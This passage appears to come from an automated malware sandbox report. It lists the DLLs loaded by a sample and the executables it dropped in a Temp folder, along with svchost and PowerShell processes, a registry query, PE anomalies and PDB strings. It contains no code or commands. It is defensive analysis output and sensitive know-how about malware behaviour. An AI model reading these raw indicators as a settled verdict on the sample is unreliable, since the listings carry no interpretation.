Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 2989056 > 1048576

Source: file.exe

Static PE information: Raw size of rthlggth is bigger than: 0x100000 < 0x2a8200

Source:	Binary string: wkernel32.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631541787.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631683602.0000000005320000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635127470.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635029460.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 44098beb09.exe, 00000006.00000002.2441285790.0000000004F70000.00000004.08000000.00040000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631972056.0000000005200000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2632161414.0000000005420000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2636944370.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 63ebe314bb.exe, 0000000D.00000003.2630803783.00000000053F0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2630592519.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634129644.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634317851.0000000005030000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2631298279.00000000053A0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631102777.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634816746.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634625885.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 63ebe314bb.exe, 0000000D.00000003.2630803783.00000000053F0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2630592519.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634129644.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634317851.0000000005030000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 63ebe314bb.exe, 0000000D.00000003.2631298279.00000000053A0000.00000004.00000001.00020000.00000000.sdmp, 63ebe314bb.exe, 0000000D.00000003.2631102777.0000000005200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634816746.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2634625885.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: 44098beb09.exe, 00000006.00000002.2441122145.0000000004E00000.00000004.08000000.00040000.00000000.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp
